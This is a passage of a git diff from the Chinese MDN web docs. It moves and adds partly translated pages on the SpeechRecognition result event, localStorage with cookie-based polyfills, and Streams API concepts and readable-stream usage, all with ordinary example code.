var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
+
+recognition.addEventListener('result', function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+});
+
+ +

Or use the onresult event handler property:

+ +
recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechRecognition.result_event")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/storage/localstorage/index.html b/files/zh-cn/web/api/storage/localstorage/index.html deleted file mode 100644 index 46384c660e..0000000000 --- a/files/zh-cn/web/api/storage/localstorage/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: LocalStorage -slug: Web/API/Storage/LocalStorage -tags: - - 存储API - - 离线 -translation_of: Web/API/Window/localStorage -translation_of_original: Web/API/Web_Storage_API/Local_storage ---- -

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

- -
Note: 当浏览器进入隐私浏览模式,会创建一个新的、临时的数据库来存储local storage的数据;当关闭隐私浏览模式时,该数据库将被清空并丢弃。
- -
// Save data to the current local store
-localStorage.setItem("username", "John");
-
-// Access some stored data
-alert( "username = " + localStorage.getItem("username"));
- -

本地存储(localStorage)的持续存在对许多事情都有帮助,包括这个示例this tutorial on Codepen所演示的记录页面查看次数。

- -

兼容性

- -

Storage 对象最近才加入标准,因此可能并不被所有浏览器支持。你可以通过在你的scripts代码前加入以下两段代码中某一段来规避在不能原生支持的执行环境使用localStorage对象的问题。

- -

该算法借助于cookies,对localStorage对象进行了严谨的实现。

- -
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
-        aCouple = aCouples[nIdx].split(/\s*=\s*/);
-        if (aCouple.length > 1) {
-          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
- -
注意:数据的最大大小是通过cookies来严格限制的。可以使用这样的算法实现,使用localStorage.setItem()localStorage.removeItem()这两个函数进行添加、改变或删除一个键。使用方法为localStorage.yourKey = yourValue;和delete localStorage.yourKey;进行设置和删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值访问权限限定在当前浏览上下文。
- -

下面是另一个,并不那么严谨的localStorage对象的实现。相比上一个方法,它更简单且能与旧的浏览器良好兼容,如Internet Explorer < 8 (甚至能在 Internet Explorer 6 上正常工作)。它同样是使用cookies来实现的。

- -
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) {
-      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
-    },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) {
-      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-    }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
- -
注意:数据量的最大值是通过cookies来严格限制的。可以使用localStorage.getItem()localStorage.setItem()localStorage.removeItem()等方法获取、设置或删除一个键。使用方法localStorage.yourKey = yourValue;获取、添加、改变或者删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值限定在当前浏览环境上下文。
- -

与globalStorage的兼容性及关系

- -

localStorage 和 globalStorage[location.hostname] 是一样的, 除了作用域是在 HTML5 origin (结构 + 主机名 + 非标准的端口), 并且 localStorage 是一个 Storage 实例 ,而globalStorage[location.hostname] 是一个 StorageObsolete 实例,下面将要讨论这个。 例如, http://example.com 无法访问与 https://example.com 相同的 localStorage 对象 ,但是它们可以访问同一个 globalStoragelocalStorage 是标准的接口,globalStorage 不是, 所以不要依赖于 globalStorage 。   

- -

请注意,给globalStorage[location.hostname]设置一个属性并不会影响到localStorage。拓展Storage.prototype也不会影响globalStorage对象,只有拓展StorageObsolete.prototype才会影响。

- -

存储格式

- -

Storage的键和值都是以每个字符占2个字节的UTF-16字符串(DOMString)格式存储的。

diff --git a/files/zh-cn/web/api/streams_api/concepts/index.html b/files/zh-cn/web/api/streams_api/concepts/index.html new file mode 100644 index 0000000000..9c2d9f77ae --- /dev/null +++ b/files/zh-cn/web/api/streams_api/concepts/index.html @@ -0,0 +1,118 @@ +--- +title: Streams API 概念 +slug: Web/API/Streams_API/概念 +tags: + - 概念 + - 流 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

+ +

Readable streams

+ +

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

+ +

有两种 underlying source:

+ +
    +
  • Push sources 会在您访问了它们之后,不断地主动推送数据。您可以自行 start, pause, 或 cancel 对流的访问。例如视频流和 TCP/Web sockets 。
  • +
  • Pull sources 需要您在连接到它们后,显式地从它们请求数据。例如通过 Fetch 或 XHR 请求访问一个文件。
  • +
+ +

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

+ +

+ +

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

+ +

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

+ +

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

+ +

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

+ +

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

+ +
+

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

+
+ +

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

+ +

Teeing

+ +

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

+ +

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

+ +

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

+ +

+ +

Writable streams

+ +

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

+ +

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ +
    +
  • {{domxref("ReadableStream.pipeThrough()")}} — pipes the stream through a transform stream, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a new state. Effectively the same stream is written to, and then the same values are read. A simple example is a text decoder, where raw bytes are written, and then strings are read. You can find more useful ideas and examples in the spec — see Transform streams for ideas, and this web sockets example.
  • +
  • {{domxref("ReadableStream.pipeTo()")}} — pipes to a writable stream that acts as the end point of the pipe chain.
  • +
+ +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

+ +

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

+ +

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ +
    +
  • In the case of readable streams, these are the chunks that have been enqueued but not yet read
  • +
  • In the case of writable streams, these are chunks that have been written but not yet processed by the underlying sink.
  • +
+ +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html new file mode 100644 index 0000000000..5313b80dc2 --- /dev/null +++ b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html @@ -0,0 +1,307 @@ +--- +title: 使用可读文件流 +slug: Web/API/Streams_API/使用可读文件流 +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

+ +
+

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

+
+ +
+

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

+
+ +

Browser support

+ +

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

+ +

Finding some examples

+ +

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

+ +

Consuming a fetch as a stream

+ +

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

+ +

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

+ +

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+ +

This provides us with a {{domxref("ReadableStream")}} object.

+ +

Attaching a reader

+ +

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

+ +

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

+ +
// Fetch the original image
+  fetch('./tortoise.png')
+  // Retrieve its body as ReadableStream
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+              controller.close();
+              return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

+ +
return reader.read().then(({ done, value }) => {
+ +

The results can be one of three different types:

+ +
    +
  • If a chunk is available to read, the promise will be fulfilled with an object of the form { value: theChunk, done: false }.
  • +
  • If the stream becomes closed, the promise will be fulfilled with an object of the form { value: undefined, done: true }.
  • +
  • If the stream becomes errored, the promise will be rejected with the relevant error.
  • +
+ +

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

+
+ +

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

+ +
// Enqueue the next data chunk into our target stream
+controller.enqueue(value);
+return pump();
+ +

This is the standard pattern you’ll see when using stream readers:

+ +
    +
  1. You write a function that starts off by reading the stream.
  2. +
  3. If there is no more stream to read, you return out of the function.
  4. +
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. +
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. +
+ +

Creating your own custom readable stream

+ +

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

+ +

The ReadableStream constructor

+ +

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

+ +

The generic syntax skeleton looks like this:

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

+ +

The first object can contain up to five members, only the first of which is required:

+ +
    +
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. +
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. +
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. +
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. +
+ +

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+            controller.close();
+            return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

+ +

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

+ +

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

+ +

Reading from custom streams

+ +

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

+ +

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

+ +

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

+ +

Teeing a stream

+ +

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" "b/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" deleted file mode 100644 index 5313b80dc2..0000000000 --- "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: 使用可读文件流 -slug: Web/API/Streams_API/使用可读文件流 -translation_of: Web/API/Streams_API/Using_readable_streams ---- -
{{apiref("Streams")}}
- -

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

- -
-

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

-
- -
-

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

-
- -

Browser support

- -

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

- -

Finding some examples

- -

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

- -

Consuming a fetch as a stream

- -

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

- -

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

- -

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
- -

This provides us with a {{domxref("ReadableStream")}} object.

- -

Attaching a reader

- -

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-.then(body => {
-  const reader = body.getReader();
- -

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

- -

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

- -
// Fetch the original image
-  fetch('./tortoise.png')
-  // Retrieve its body as ReadableStream
-  .then(response => {
-    const reader = response.body.getReader();
- -

Reading the stream

- -

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
